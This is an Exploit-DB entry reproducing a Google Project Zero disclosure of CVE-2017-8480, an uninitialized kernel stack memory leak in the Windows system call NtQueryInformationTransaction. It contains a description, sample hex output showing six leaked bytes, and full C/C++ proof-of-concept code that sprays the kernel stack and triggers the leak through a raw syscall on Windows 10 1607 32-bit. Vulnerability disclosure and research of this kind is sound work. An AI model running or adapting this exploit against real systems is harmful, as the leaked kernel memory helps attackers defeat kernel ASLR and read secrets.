Microsoft Windows - 'nt!NtQueryInformationTransaction (information class 1)' Kernel Stack Memory Disclosure

EDB-ID: 42233
Author: Google Security Research
Published: 2017-06-22
CVE: CVE-2017-8480
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1196 

We have discovered that the nt!NtQueryInformationTransaction system call called with the 1 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.

The specific name of the 1 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 32 bytes and more is accepted. At the end of that memory area, 6 uninitialized bytes from the kernel stack can be leaked to the client application.

The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=1 and the allowed output size. An example output is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 01 00 00 00 00 00 00 00 00 00 41 41 41 41 41 41 ..........AAAAAA
--- cut ---

It is clearly visible here that 6 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}

printf("\n");
}
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}

VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];

// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationTransaction = 0x00b3;

// Create an empty transaction.
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);

// Spray the kernel stack to get visible results.
SprayKernelStack();

// Trigger the vulnerability and print out the output structure.
BYTE output[32] = { /* zero padding */ };
DWORD ReturnLength;
NTSTATUS st = SystemCall32(__NR_NtQueryInformationTransaction, hTransaction, 1, output, sizeof(output), &ReturnLength);

if (!NT_SUCCESS(st)) {
printf("NtQueryInformationTransaction failed, %x\n", st);
CloseHandle(hTransaction);
return 1;
}

PrintHex(output, ReturnLength);

// Free resources.
CloseHandle(hTransaction);

return 0;
}

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